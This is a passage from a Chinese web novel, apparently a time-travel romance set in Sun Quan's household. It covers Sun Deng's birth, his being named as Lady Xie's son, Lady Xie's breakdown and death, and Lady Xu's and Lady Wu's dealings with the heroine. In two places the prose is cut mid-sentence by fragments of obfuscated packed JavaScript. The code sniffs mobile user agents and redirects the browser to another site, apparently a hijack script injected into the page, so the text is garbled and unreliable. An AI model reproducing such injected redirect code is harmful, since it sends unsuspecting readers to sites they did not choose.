朱然没有回头,只是眼眶又泛起酸涩。 “一乔姑娘不必自责。清儿走前……还提起你。她说,你给的药让她最后这几日少受了许多苦痛,也让我与她……偷得了几天寻常夫妻的朝夕。” 孙权将手覆在步一乔的手背上,温声道:“她不怪你,你也不必再困于自责。” 朱然说:“我虽怨恨,怨恨这世间的不公……但清儿说,与其余生用药物维持苟活,倒不如早些离去,早点重返人间,重新与我相遇……” 曾经的人们相信来世,相信人会有轮回,弥补前世的遗憾。 可人根本不会有来世,死了,便是死了。 步一乔伏下身,额头触地。 对不起……是我,无法救你。 * 入夜,朱然站起。他身形有些不稳,身旁的妾室伸手,扶住他的胳膊。他没有拒绝。 “今夜守灵,仲谋,带一乔姑娘回去歇息吧。” 孙权颔首,扶着步一乔站起。她双腿早已麻木,几乎全靠他支撑才勉强站稳。 走到朱府门口时,步一乔忽然停下,回头再望灵堂。 “人为何……总要看着挚爱先走一步……为何要有病痛折磨、生老病死……” 她不敢想象在上一个轮回的历史中,孙权选择孤独终老,那些日子他一人,究竟是怎样熬过来的。 “孙权……” 孙权轻声道:“我不知道。但若没有这些……人或许也不会懂得,相聚时光有多贵重。” 步一乔侧过头看他。少年老成的轮廓,短短几日,已染上深静的疲惫。 “我没问你呢,还说得那么伤感……笨蛋。” 步一乔苦笑着抚上他的脸庞。 “所以,这便是你格外珍重我的原因,是吗?” 生离死别。总要看着挚爱先走一步。所以才懂相聚,有多难得。 孙权握住她抚在自己颊边的手,收进掌心。 “回府吧,夜深了。尚有军务未理。” “又要熬到天明……你眼下的青痕,比昨日又深了。” “无妨。江东如今皆看我一人,我若先倒下,如何对得起兄长,对得起……那些将性命托付于我的人。” 步一乔抬手触了触他的眼角。指尖温热,而他眼下的疲惫却凉得像秋霜。 “莫要累着,我给你煮些补身子的汤药,待会儿给你送来。” “你也得多休息啊。近来可还犯恶心?” “总有这个过程嘛,这个月过了,估计会好些。” “要不向母亲坦白,给你安排一间厢房?” “你见我何时在后院挤过大通铺?不每天都在书房睡得嘛。也习惯了,暂可不必告诉她。而且……最好永远不让她知道。” 孙权目露疑惑。 步一乔说出思虑已久的安排:这孩子将于明年,建安六年出生,恰是徐夫人嫁入孙府、谢夫人病逝之时。虽不近人情,但她打算将孩子记作谢夫人所生,交由徐夫人抚养。如此,既合上了历史的轨迹。 尽管这长子的降世,比原本的命数,足足早了八年。 孙权闻言,不禁摇头:“你连这都算进去了?” “不是算计,是本该如此。” 夜风将她鬓边一缕散发吹起,孙权抬手,将那缕发丝拢回她耳后。 “可这孩子是我的长子,本该光明正大地叫你母亲。” 步一乔摇头,唇角浮起苦笑。 “我的身份本就如履薄冰……若再添一个‘来历不明’的子嗣,对你、对孙氏,都非好事。不如让他名正言顺地成为嫡子。哪怕母亲不是我。” 这是历史定数,是命运如此,也是她反复权衡后,最不惊动宿命的安排。 孙权沉默良久,将她往怀中带了带。 “可这对你不公。” “乱世之中,何来绝对公平?能救下伯符,能留住你,能让他平安降生,于我,已是莫大的侥幸。” 孙权终于松口,却仍握着她的手。 “回去吧,汤药不必送了,今夜你好生安睡。” “那军务……” “明日再理。今夜,我只想守着你。” 步一乔欣喜地挽住孙权的手臂,将身子倚靠过去。 “差点忘了告诉你,其实朱然的长子,本与你家大儿年岁相仿。不过如今看来,倒是咱们的孩子要年长些了。” 孙权随即低笑:“你连这也算清楚了。” “既知来路,总要为去途铺几分石子嘛。” 她靠着他肩头,神思恍惚。 历史已然奔向未知的旷野,建安五年未陨的孙策,早产八年的长子孙登……尽管重要的历史线并未脱离轨道,可谁又能预料,往后还会裂出怎样的变数? 这乱世里,相守是奢望,善终是恩赐。 她终究无法延续所有将逝的生命,每一次变数都必会激起或深或浅的回响。若今日察觉棺中蹊跷的不是朱然,而是旁人…… 思及此,寒意悄然爬上脊背。 * 孙权径直陪步一乔回了书房。屋里还点着安神的檀香,是她这些日子特意调的。 “先睡吧,我再看会儿文书。” 步一乔拉住他衣袖:“你也歇会儿,眼下的青痕都快赶上熊猫了。” “熊猫?”孙权挑眉。 “就是那种眼圈黑黑的珍兽。如今叫什么……我倒说不上来,这得问懂生物的人了。” 她抿唇轻笑,将他往榻边带。 “早睡方能早起,明日处理公务也更利落。” 孙权拗不过她,宽衣解带在她身侧躺下。床榻不宽,两人挨得极近,步一乔侧过身,指尖极轻地碰了碰他闭着的眼睫。 孙权忽然开口,眼睛仍闭着:“再不睡,汤药就真要煮两碗了。” 她忍不住轻笑,将手乖乖收回被中。 “孙权?仲谋?” “嗯。” “亲一下。” “……那夜的教训,忘了?说好只是吻,最后还是——” “这次我定能克制的!我发誓!” 孙权睁开眼,侧过身来看她。黑暗里,那双眸子亮晶晶的。 他低叹一声,终是倾身过去,在她唇上印了下。 刚要退开,步一乔却伸出手臂勾住他的颈项,将他拉回,撬开唇齿,交缠推拒。 良久,她才松开,呼吸微乱,却还强撑着道:“你看……我说到做到。” 可刚说完,唇瓣又贴上去。 孙权由着她加深吻,直到她快喘不上气仍继续,才抓住她的发丝,将唇扯开。 “这叫说到做到?” 步一乔脸颊发烫,却还强辩:“谁让你……让我停不下的……” 话音未落,孙权已翻身将她拢在身下,伸出舌尖细细描摹她的唇形。 “明日若乏了,可别怨我。” 她环抱住他的肩首,声音娇滴滴,却难掩兴奋:“那你……轻些。” 孙权低笑一声,曲指轻轻敲在她额头。 “笨蛋。” 他终究没有更进一步,只是将她拥紧,掌心贴在她小腹。 “睡吧。我在这儿。” 远处传来隐约的更鼓声,步一乔在他怀中渐渐放松,意识模糊前,呢喃了句: “孙权……这一世,我们会一直在一起吧?” “你若不离,此生,我便不会离开你。” * 想起大乔与孙策已离吴郡,此事也该让小乔知晓。次日清晨,步一乔便去了周府。 小乔正坐在庭中低头绣帕,听见脚步声抬起脸来,温然一笑。 “你来了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020457|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她腹部已明显隆起,面色却红润安宁,想来周瑜照料得极尽心。 “上回那方绣帕带了吗?那日走得急,收尾潦草了些。今日你多留一会儿,我替你改改。” “好。” 望着小乔低眉穿线的侧影,步一乔斟酌着开口:“小乔,其实我——” “对了,夫君已为孩儿拟好了名字,你猜是什么?” “周——你明知我知道的,还来问我?” “想看看是否对得上嘛。” “自然对得上。这名字,你可喜欢?” “夫君取的,怎会不喜。” 两人相视一笑,小乔又垂眼理线。 “那个,小乔,我有件事想——” “昨日在灵堂见着义封那位新妾了,一乔可留意了?” “嗯……见了。” “眉眼举止,与禾夫人确有几分神似。问过祖籍,却全无渊源,真是缘分使然。” “确是缘分……” 为何总觉得,小乔今日有些不同往常? 步一乔心下微动,按住小乔绣帕的手:“小乔,你是不是知道什么?” 针尖悬在半空。小乔沉默片刻,将绣绷搁在膝上。 “一乔,姐姐和姐夫……其实没有死,或者失踪,对不对?” 庭中静了下来。只有早春的风穿过廊檐,拂动二人鬓边未绾起的碎发。 “而这一切,都是你一手策划,对不对?” “你……何时察觉的?此事,可还有人旁人知晓?” 见步一乔紧张的样子,小乔笑着温声安慰。 “放心吧,连夫君也不知晓。他这几夜,还常望着星子叹气,说再也见不到伯符了呢。” “那你是如何猜到的?” “是姐姐离开前,亲口告诉我的。她虽未点明谋划之人是谁……可这江东,会拼尽全力去救伯符的,除了仲谋,不就只有你了么?” “大乔她……可有怪我?” “怎会。姐姐说,这是她自己的选择,她也心甘情愿照顾伯符一辈子。乱世如沸鼎,能抽身离去,已是莫大的幸事。她还让我转告你——” “‘告诉那孩子,不必愧疚。此生种种,虽无记忆,但总觉亏欠,只有来世再报。’” 步一乔眼眶发热,慌忙别过脸去。 小乔没有戳破,只用正式完工的绣帕替她擦拭。 “一乔,你为这么多人铺好了路,那你自己呢?你的身子……比我初见你时,更憔悴了。” “我啊……我想看着他,一步步走到他曾抵达过的地方。然后,陪他走得更远一些。” “哪怕史书未必留名?” “嗯。哪怕无人记得。” 小乔不再多问,将绣帕塞进步一乔手中。 “总有人记得。至少,我们都记得。” 廊外传来脚步声,二人同时抬眼,周瑜手中握着几卷简牍缓步而来。 “在说什么,这么入神?” 小乔从容地将针线拢入袖中,笑意如常:“在说……今年的春天,虽迟但到呢。” 周瑜笑了笑,看向步一乔。 “对了,一乔姑娘,我为长子拟了一名,不知可否请姑娘品鉴一二?” “一乔微贱,岂敢妄言。” “姑娘过谦。‘循’字,周循。一为遵世间正道,二为守心之所向。不知姑娘以为如何?” “是个好名字。公子将来,定能如其名,行于正道,守其本心。” 周瑜眼中笑意更深了些,转向小乔:“一乔姑娘既如此说,想来夫人也该同意了?” 步一乔微怔,周瑜含笑解释:“夫人执意要先问过你。她说,你若觉得好,她便也觉得好。” 步一乔心头微动,看向小乔。小乔正抚着微微隆起的小腹,唇边噙着笑意。 “是呀,一乔的眼光,我一向是信得过的。这名字很好,夫君。就叫周循。” 周瑜眼中暖意更盛:“如此,便定了。一乔姑娘不妨常来坐坐,夫人近日总念着你。若需我去跟孙府说一声,尽管开口。” 步一乔忙应下。又闲叙几句后,周瑜便往书房去了,庭中只余下她二人。 待那脚步声远去,步一乔才低声开口:“你呀……这般大事,也要拉上我。” “也是证实这名字对不对嘛。”小乔莞尔一笑,“那一乔,你接下来有何打算?” 步一乔拉过小乔的手,覆上自己的小腹。 “暂且安分养胎,九个月后,再做下一步打算。” * 【九个月后|建安六年,一月末】 产房内一团乱,产房外更是乱做一锅粥。 幸而吴夫人及时赶至,喝住无措的仆役,一切复归井然。 孙权额间汗湿,向母亲深深一揖:“多谢母亲。” 吴夫人却冷哼:“我若不来,是不是此生都不知晓,你的长子,是个无名无分的侍女所出?” “母亲……”孙权撩衣跪下,“求您看在孙儿份上,容儿子给她一个名分。” 吴夫人目光落在产房紧闭的门上。 “谢氏虽神志渐昏,终究是你明媒正娶的妻室。这孩子,就当是她所出吧。或许,还能治好她的病症。” “母亲!您这——” “仲谋你当清楚,这孩子的生母若是个侍女,他在孙氏宗谱上便永无立足之地。记在谢氏名下,至少名义上是嫡长。” 吴夫人居高临下望着次子苍白的脸。 “至于那姑娘……只要我尚有一口气,只要江东孙氏还在一日,她就休想踏进宗谱半步!” 106. 起轿 孙权跪在地上,佝偻着背脊。 “母亲,她不是侍婢,亦非寻常女子。若无她筹谋,兄长——” “住嘴!不许提伯符的额名字!”吴夫人厉声打断。 这时,产房内忽传出一声嘹亮婴啼。 门开了,稳婆抱着襁褓快步走出,满脸堆笑:“恭贺主公,恭贺老夫人!是位小公子,母子平安!” 吴夫人伸手接过裹在锦缎中的婴孩。孩子闭着眼,眉宇间依稀已有孙家的轮廓。 她凝视良久,才叹道:“……取名了吗?” 孙权仍跪着,抬起头:“儿子早已想好,名为登。孙登。” 吴夫人指尖轻抚过婴儿细嫩的脸庞,沉默半晌。 “此子,即为我孙氏嫡长子,谢氏所出。一应乳母仆役,皆称‘大公子’。份例规制,皆按嫡长。” 她将孩子交还稳婆,目光再次落向产房: “产后需静养。西厢那间空屋,收拾出来,让她搬进去罢。” “母亲……” “今日破例,你进去陪她片刻。” “……多谢母亲。” * 产房内尚有未散的血气,步一乔半倚在榻上,额发被汗水浸透,一缕缕贴在颊边。听见脚步声,她微微抬眼。 “仲谋……好痛啊……” “是我不好,没能陪在你身边。” 按规矩,男子不得入产房。方才她只能攥着那根从房梁垂下的粗麻绳,一个人熬过所有。 孙权在榻边坐下,拨开她遮挡视线的碎发:“辛苦夫人了。” “你看……我真没想到人出生时这么小一只……为什么这么小会那么痛呢?我差点以为要挂了……” 小小的孙登依偎在她怀中,安静地吮吸着。 孙权凝视着这一幕,低声道:“往后,不会再让你受这样的苦了。” “别说傻话……若我说还想再要一个女儿,你难道不许么?” “不喜欢孩子的人,会说这样的话?” “……也是。” 步一乔轻轻笑了,将脸颊贴近婴孩柔软的发顶。 “果然小孩子还是安安静静比较可爱。” “你也可爱。”孙权拿着布巾替她擦拭,“比任何时候,都可爱。” 步一乔侧过身,小心翼翼地将孙登送入他怀中。 “吴夫人……都安排妥了?” “嗯。”孙权接过孩子,“与你的打算,分毫不差。” 记在谢氏名下,为孙氏嫡长。而她,则以乳母的身份留在府中,伴他成长。 自然,也只是暂时的。 待时日再久些,徐氏嫁入孙府,这孩子终会交予下一位的正室抚养。 步一乔极低地苦笑了一声,伸手揉了揉孙登温热的小脸蛋。 “是该这样。嫡长子的名分,比我这个生母重要。抱歉孩子,别怪我无情……” 襁褓中的孙登似有所觉,轻轻动了动。 * 这一年里,孙权待谢夫人并不算冷淡。平日问安探望、一应礼数皆全,与寻常相敬如宾的夫妻并无二致。 只是,从不留宿罢了。 谢夫人本就是个心思深重的人。夜夜独对空帷,竟渐渐生出幻影,总在深夜里与虚空中幻化出的“夫君”低语共枕。 可真当孙权难得开口说“今夜我陪你”,她又会惶然推开,喃喃道:“不……你不是他。” 这般病症,只在入夜后发作。白日的谢夫人依然端庄得体,言行举止与常人无异。 孙登的情况日渐安稳,也到了该将他送往谢夫人房中的时候。 步一乔低头看着怀中熟睡的孩子,理了理襁褓的边角。刚吃过奶,孙登的小脸泛着浅浅的红晕。 “谢夫人也是可怜人,好好陪在她身边。陪她走完……这最后一程。” 吴夫人亲自来抱走了孙登,步一乔站在廊下,看着走远的孩子,没有追上去的冲动,也没有哭。 “黄初二年,孙权封号吴王,孙登为王太子……黄武四年,娶周瑜之女……赤乌四年病故,年仅三十三岁……” 又是史书里寥寥数行。 又是一段早折的命数。 步一乔的手轻轻按在自己空下去的小腹上。掌下平坦寂静,却恍然又触到那十个月里,温柔的胎动,温热的生长。 她忽然再站不住,身子顺着廊柱滑落,跌坐在冰冷的石阶上。蜷起身子,把脸埋进膝间。 原来心脏不是不痛。 只是痛来得太迟,又太深,深到要用全身的力气才能撑到无人看见的此刻,才能纵容自己塌垮这一回。 * 谢夫人的院子,从此多了婴孩的啼哭。 说来也奇,孙登平日在步一乔怀中总是安静乖巧,到了谢夫人房里,却时常夜啼不止。乳母仆妇轮番哄抱,总不见效。 唯有谢夫人亲自接过,哭声才会渐渐歇下。 她抱着孩子,爱哼吴歌给他听。唱词写给远行再也无法归来的爱人,而这歌声也将她心爱之人,日日唱来。 孙权常去她房中陪同,孙登的到来,的确让谢夫人的病症好了许多。 直到……她的出现。 * 【建安六年,六月】 孙权迎娶徐氏。 徐氏家族在江东颇具影响力,尤其是徐琨为孙坚旧部,此婚姻可强化与江东武将集团的关系。 尽管这位,是他表侄女。 大婚前三日,孙权踏进谢夫人房中。 “徐氏入门后,你居次席。” 谢夫人正抱着孙登哼歌,手指蓦地一顿。 怀中婴孩似乎察觉了什么,不安地扭动起来。 “为何?” “徐氏出身名门,可为正室。这也是母亲的意思。” “从古至今,何尝有过正妻让位之说!仲谋你……难道要弃我如敝履么?” “非是弃你。一切该以江东大局为重。” “我不应!死也不应!” “此事已定。三日后,徐氏入府。你若懂事,便体面些。” 孙权决绝起身,谢夫人转身放下孩子,扑上前攥住他的衣袖,双膝跪地。 “仲谋不要……我不要做妾!” 他闭了闭眼,终是将她的手一寸寸拂开,转身离去。 “仲谋——!仲谋你回来……不要丢下我……我不要做妾……我想做你一辈子的妻……” 孙登也哭了,交叠的哭声追着他远去的背影,散在空寂的院落里。 步一乔一直立在门外,待孙权走远,才悄声踏入室内。她俯身抱起哭闹的孙登,带到偏厅安抚。直到孩子啜着母乳渐渐安静下来,她才将他重新送回谢夫人怀里。 “别哭了。” 孩子被轻轻塞进谢夫人怀中,也止住了她的哭声。 “我早说过,男人而已,不值得。况且,如今你有登儿了,不好么?” “……你不懂。” “我的确不懂。但我知道,你若再继续折磨自己,可就真没了。” “没了便没了……没有仲谋,有登儿又如何?不能做他的妻……他便会将我忘得一干二净,从此再没有我这个人。从前虽也没有我,但我是妻,他终究不能没有我……可若成了妾,我算什么呢?……我什么都不是了。” * 徐夫人入府那日,锣鼓喧天。 谢夫人没有出现。她将自己锁在房中,不知休止地唱。歌声穿透门扉,幽咽如鬼泣。 步一乔没去婚宴,而是去了谢夫人厢房。当她推开那扇虚掩的门时,歌声停了。 屋内没有点灯,只有窗外透进的、被红绸映得发暗的天光。谢夫人坐在妆台前,背对着门,一头长发散着,铜镜里映出她苍白的脸。 孙登含着手指,安静地睡在摇篮里。 “他穿喜服的模样……好看么?一年前好看,还是今日好看?” 步一乔走到她身后,道:“一年前我没看,今日也没看。” 谢夫人低低笑了:“你总是这样……清醒得让人讨厌。” “不清醒,难道陪你一起疯?” “到底是谁疯啊……辛苦生下的孩子说给就给,心爱的男人娶妻纳妾也不吵不闹……” 谢夫人回眸看向步一乔。 “你好可怕。” 步一乔一副无所谓的样子,拿起梳子,梳理她散乱的长发。 谢夫人却忽然攥住步一乔的手腕:“你告诉我……怎样才能像你这样,把心挖出来,还能活着?” 梳子停在半空。 步一乔垂眼看着她颤抖的手指,缓缓道:“心不是挖出来的。是有人一刀一刀,慢慢剜走的。” “那你不疼吗?” “疼啊。可疼着疼着,就发现,原来剜空了的地方,能装进更重要的东西。” 比起这群夫人,步一乔眼中只有历史。 窗外,大婚的喜炮映亮了半面窗棂。红光漫进屋里,把谢夫人脸上的泪痕照得清清楚楚。她望向摇篮,喉间溢出一声呜咽。 “你知道吗……昨夜我梦见……我掐死了登儿。” 步一乔的梳子落回妆台,问:“然后呢?” “然后我抱着他小小的身子,去敲仲谋的门。我说你看,现在什么都没有了……你能不能,只看着我一个人?” “梦是反的。你舍不得。而且,你若真这么做了,我会先杀了你。” 谢夫人怔怔望着她,忽然吃吃地笑起来,越笑越癫,眼泪却淌得更凶。 “杀我?你凭什么杀我?凭你是个连名字都不能有的乳母?还是凭仲谋偶尔施舍给你的那点榻上温存?” 步一乔没有动怒,反而俯身拾起梳子,绕到谢夫人面前,用梳齿抬起她的下巴。 “凭我比你清醒。也凭我知道,若登儿真有半点损伤,不用我动手,孙家随便谁,都会先我一步要了你的命。” “你闭嘴——!” 谢夫人咆哮着猛地挥开梳子,梳子撞在妆奁上,发出刺耳的脆响。摇篮里的孙登被惊醒,哇地哭出声。 步一乔转身抱起孩子,轻拍他的后背。 “登儿别怕,没事儿,娘亲在这儿。” 那声“娘亲”轻飘飘地落下,身后那个濒临崩溃的女人,彻底崩溃。 “你骗我……” “我骗你什么?” “你说仲谋不举,说仲谋与你清清白白!” “是么,那不好意思,骗了你。忘了跟您说,我这辈子最擅长的事之一,就是撒谎不脸红。” 步一乔向前半步,将哭累睡去的孙登放回摇篮,然后直起身,对着谢夫人绽开一个毫无温度的笑。 “试问,哪个男人能忍受自己硬不起来?” 谢夫人盯着她,低低笑起来,带着痰音和血沫似的嘶哑。 “好啊……真好……我当他真是个君子,原来也不过是……” 她没说完,猛地咳嗽起来,咳得整个身子佝偻下去,像是要把五脏六腑都呕出来。 步一乔静静看着她,从袖中抽出条干净帕子给她擦去唇周的血。 “我早跟你说过,男人,不值得。” “一面说这种话,一面跟仲谋深情厮守,你良心不痛吗!” “这话是跟你说的。孙权是我的,于我而言,做什么都值得。于你,不值得。我也是为好,想开一点吧。” 谢夫人脸上最后一点血色,彻底褪尽。 “你出去……我不想再听多废话一句……” “外头正在办婚宴,我不想出去。” “你——”谢夫人提起的一口气又松懈下去,“为何这么对我……因为恨我吗?我偷了你的绣帕,跟母亲告密,害你差点被杀?” “在你眼里,我所做的一切,是因为恨吗?” 步一乔走到她跟前蹲下。 “你看看你现在的样子,我若真丢你一个人在此,你会做什么?” 谢夫人没有回答,只是死死盯着虚空某处,瞳孔涣散。 步一乔忽然意识到,自己或许逼得太紧了。她本是为阻拦谢夫人而来,可字句像刀刃,将人最后一点支撑也削断了。 静了片刻,她起身走到摇篮边,将睡醒了在吃手指的孙登抱起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……也是解脱了。” * 府里很快便传遍了谢夫人“急病暴卒”的消息。但因撞上红事,白事只得暂且推迟,静悄悄停灵在后院偏厢。 六月,吴郡差不多入夏。幸而厢房阴暗,这些日子没散出什么味道。 待徐氏三朝回门后,吴夫人才亲自操持起丧仪。一切从简,却仍维持着正室应有的体面。 棺木出府那日,孙权立在阶前,望着那具黑漆棺椁被抬出侧门,脸上看不出悲喜。 步一乔抱着孙登站在不远处。孩子似乎感应到什么,突然啼哭起来。她轻轻拍着他的背,哼起谢夫人常唱的那支歌。 虽不完整,孙登倒是慢慢静下来。 孙权闻声转过头。隔着庭院,目光与步一乔短暂相接。 他在担心,担心步一乔日后也会走上相同的道路。他心底清楚,谢氏与她不同,但……不免忧虑。 他又想起早年听过的童谣:“新妇来,旧妇埋,朱门年年换裙钗。” 拢共十位夫人。 如今,还剩八位。 那,步一乔呢? 八位,八百位,都无所谓。她唯一胆怯的,只有那个与她长相相似,内里截然不同的女子。 那个史书上,孙权钟爱一生之人。 * 【谢夫人下葬次日】 “你便是乳母一乔?” 室内,徐夫人正坐在窗下为吴夫人缝制衣裳,见步一乔进来,并未抬眼。 “登儿在里边,你自己去罢。” “是。” 史记,徐夫人受孙权所托抚育孙登,孙登自小便对这位养母怀抱孺慕之情。 可步一乔总觉得,这位夫人似乎对孩儿并不上心。 “徐夫人,奴婢有一问,不知当不当讲。” “说罢。” “夫人是……不喜欢大公子吗?” 徐夫人终于停了针线。她抬起脸,一张温婉端丽的容颜,眉目间俱是江南女子特有的柔润。可开口—— “别人生的孩子,我为何要喜欢?” 这种表里不一的温婉,让步一乔忽地想起谢夫人。相似的温婉、端庄,最终皆被嫉妒葬送了一生。 步一乔沉默片刻,竟点了点头:“夫人说的是。” 徐夫人有些意外,抬眼看她,唇边浮起浅笑:“你倒不替这孩子委屈?” “奴婢只是乳母,有何资格委屈。况且夫人说得在理,不是自己肚里出来的,哪来的情分?” “早听闻你口齿伶俐得很,才识不输半数文臣,看来是真的。” “夫人过誉。奴婢不过是照实说话。” “所以,为何有此疑问?是想劝我,善待这刚刚丧母的可怜孩子?” “一乔深知夫人会善待大公子。毕竟,这是主公亲自交托给您的人。” 步一乔迎上徐夫人含笑却无温度的视线。 “夫人不会让主公失望的,对吧?” “好伶俐的一张嘴。”徐夫人将绣绷搁在案上,“我也是对你与主公之事有所耳闻,母亲还叮嘱我,得谨防着你。” “奴婢有什么可谨防的?” “自然是谨防你……勾引仲谋。” 徐夫人起身,缓步走到步一乔面前。 “我眼下是看在你是长子乳母的份上,暂且容你。可你须明白,我可不是谢氏。真被我发现什么——” 温婉的笑意终于从她眼底彻底褪去,露出底下寒光。 “我可不会关起门来折磨自己,而是让你,生不如死。” 她等着看眼前这婢女惊慌失措的模样。 没曾想,步一乔却笑了。 “夫人教训得是,奴婢记下了。也还请夫人日后对大公子多费些心。您待他越好,主公对您,自然也会越上心。” “不用你说,我自会待这孩子好。纵是没有他,仲谋待我自会偏爱宠幸。” 步一乔含笑行礼:“那便有劳夫人了。” 正欲入室哺乳时,徐夫人忽又叫住她。 “且慢。我早年便听闻,仲谋心里一直搁着个人,说是近年寻着了,就在吴郡。你可知是谁?” “回夫人,奴婢知道。且那人,就在这府中。” “就在府里?!是谁?” 步一乔回眸。 “就是我呀。” 107. 摘 【吴夫人厢房】 孙权撩袍入内,躬身行礼:“许久未来看望母亲,近来身子可好些了?” 吴夫人正倚在榻上细看帛书,闻言抬眼。 “是仲谋啊。董大夫留的方子倒还管用,只是……许是年岁到了,总觉得倦乏。如今江东在你手中日渐安稳,母亲也该松一松手了。” “江东虽暂安,内政外务仍需母亲坐镇指点。儿子……离不开母亲。” 吴夫人却是冷笑。 “不是挺好?母亲走了,你便能光明正大的偏宠她一人。但名分之事……就当是母亲的遗言吧,绝无可能。” “母亲何苦又说这样的话。”孙权轻叹,“您为何至今也不肯接纳一乔?” “不是母亲不接纳她,是这江东霸业不许。她如何能与徐氏、谢氏平起平坐?说到这儿——” 吴夫人话锋一转,将方才的帛书递给孙权。 “庐江那边,倒有桩合适的姻缘。听闻有位名唤‘步练师’的姑娘,贤能淑德,在庐江颇有佳誉。若能联姻,于你、于江东,皆是美事。” “可徐氏才过门不久……是否操之过急?” “步氏虽非世家大族,但在庐江根基渐稳。步姑娘年方十六,才德俱佳,若能入府,既可安庐江人心,又能为你添一贤内助。” 吴夫人指尖轻点帛书,又道:“我听闻……已有不少人家上门提亲了。若再迟些,难道要让人说我孙家少主,反落个强夺人亲的名声?” 孙权接过帛书,上面的字迹工整。步练师,庐江步氏,年十六……字字句句,皆是合适。 “母亲思虑周全。只是徐氏新入府,若立时再纳,恐引人议论。” “仲谋,既为万军之主,就该永远保持清醒,做个冷静决断之人。这世上从无两全之法,有些事必须快刀斩乱麻。” 孙权沉默良久。 他最担心的人,最担心的事,终究是躲不过的。 是明知不可避,却仍想挣扎的徒劳。 “儿子明白了。”他终于开口,“便依母亲之意。” “明白就好。”吴夫人神色稍霁,“去吧,别在母亲这儿耽搁了。剩下的话……我同你那位心上人说。” 孙权怔愣,“一乔?” “徐氏将登儿照顾得妥帖,她除了喂奶,其余时候,便让她来我这儿伺候。” “母亲这是……” 吴夫人端起茶盏,缓缓啜了一口: “母亲也想瞧瞧,这姑娘究竟哪一点,能让你痴心至此。” * 步一乔被唤到吴夫人房中时,天已向晚。室内点了灯,吴夫人正倚在暖榻上闭目养神,听见脚步声才缓缓睁眼。 “来了。坐吧。今日你我放下前嫌,好好谈谈。” “是一乔的荣幸。” 步一乔依言在榻边坐下,垂首静候。 吴夫人打量她良久。这女子生得是好的,算不上倾国倾城;气质也静,却并非怯懦畏缩的静。是一种……仿佛见过太多世事,因而什么都不再惊扰的沉寂。 “仲谋为你,与我争执过数回。我今日唤你来,只想问一句,你究竟想要什么?” “回老夫人,奴婢什么都不求。” “不求?”吴夫人笑了,“那你留在他身边,图什么?” “图江东安稳,图孙氏基业……能如他所愿,绵延长久。” 这话太大,太虚,寻常女子说不出,也不敢说。可偏偏从她口中道来,竟有种奇异的笃定。 毕竟当初将孙登从她身边带走,这姑娘可是一句哀怨都不曾有。 “你倒是会说漂亮话。可我要听实话。” 步一乔沉默片刻,道:“老夫人,若我说……我曾见过百年后的江东,见过孙氏子孙的命运,您信么?” 室内烛火一晃。 吴夫人盯着她,久久未言。 “继续说下去。” “那是个很长很长的故事。而奴婢所求的,不过是在那既定的命途里,为他多争一线转机罢了。” “莫非……你真是义封口中的‘山鬼’?” “一乔只是一介凡人,不是神明。” 吴夫人冷哼道:“你便是用这些玄虚之言,骗得仲谋为你,心里再装不进旁人么?” 步一乔含笑起身,为吴夫人斟了盏温水。 “老夫人这话,倒像是说仲谋心思单纯了。我与他之间,从来坦诚相待,未曾……欺瞒过彼此。” 吴夫人接过茶盏,盯着她看了许久,忽然长长一叹: “罢了。事到如今,步步相逼也是无用。仲谋既认定了你,我便动不得你。我时日也无多了,你便留在我身边,陪我走完这最后一段罢。” 步一乔静默片刻,轻声问:“老夫人……可还想见孙坚将军一面?” “不想。抛妻弃子之人,何必再见。” “可九年前他是为死里逃生,才被迫忘却前尘。那并非他的本意。您当真……不想么?” “你此话何意?” “见一见吧。”步一乔抬眸,“再不见,恐怕……真就见不到了。” “是我要死了,还是他要死了?” “一乔不敢妄断生死。只是光阴荏苒,有些人,有些事……错过便是永远。这便是我与仲谋,无论以何身份相伴,都不会离开彼此的原因。” 吴夫人怔然良久,忽然苦笑: “我没你那么深情。再说,见了又如何?他早已将我忘得干净……独我一人,守着那些旧事,苦了半辈子。” 步一乔看着吴夫人眼中晃动的泪光,了然浅笑。 “一乔明白了。您为江东倾尽一生,往后这些日子,我陪您过,也免得耽误了主公的‘夫妻生活’。” 这才是吴夫人让她留下的真正用意。哪怕未曾明言,步一乔又岂会不知? 建安六年及往后两三载,正是孙权纳妾最频之时。徐夫人之后……是她了。 * 服侍吴夫人睡下后,步一乔退出厢房。 六月中旬而已,热气已熏人。回房的路径本不经过议事厅,她却刻意绕了些远,瞧瞧某位又在熬夜的主公。 “热吗?” 孙权闻声,从堆积的文书间抬眸。 “偶有夜风,尚可。”他放下笔,“母亲歇下了?” “刚服侍睡下。”步一乔倚在门边,“许久没与你好好说句话了,顺路来看看。” “我倒是每日都见着你。” “你每夜回房时我都睡了,你见着了,我可没有。” 步一乔走近案边,在他身边坐下,指尖拂过他眉间浅痕。 “……又熬夜。二十岁的小伙子,都快熬成大叔了。” 孙权覆上她的手背,将掌心贴在自己颊边。 “最后两份文书,处理完一同回房歇息。” 步一乔任他握着,另一只手拨开他额前垂落的发丝。 “庐江步姑娘那边……何时到吴郡?” “今日已遣人去请,大抵七月初便能见到。” 见步一乔走了神,孙权忽地将她揽进怀里。她猝不及防轻呼一声,整个人跌进他怀中。 “做什么呢……文书不批了?” “忽然不想批了。”孙权低头,下颌轻轻蹭过她发顶,“这几日回房,都只能抱睡迷糊的你。许久没碰碰……清醒时的你了。” 他掌心贴着她后腰,将她往怀里又带了带。步一乔抵在他肩头的手指微微蜷起,到底没推开。 “门还没闩……” “无人会来。除了你,谁敢深夜不敲门,就这么闯进来?” “原来是嗯~” 湿热的舌尖突然舔过耳廓,惊起闷哼与颤栗,步一乔偏过头想躲,却被他捧着脸,又将耳朵送回他唇边继续舔舐。 “仲谋……痒啊……” “嗯,我知道。” 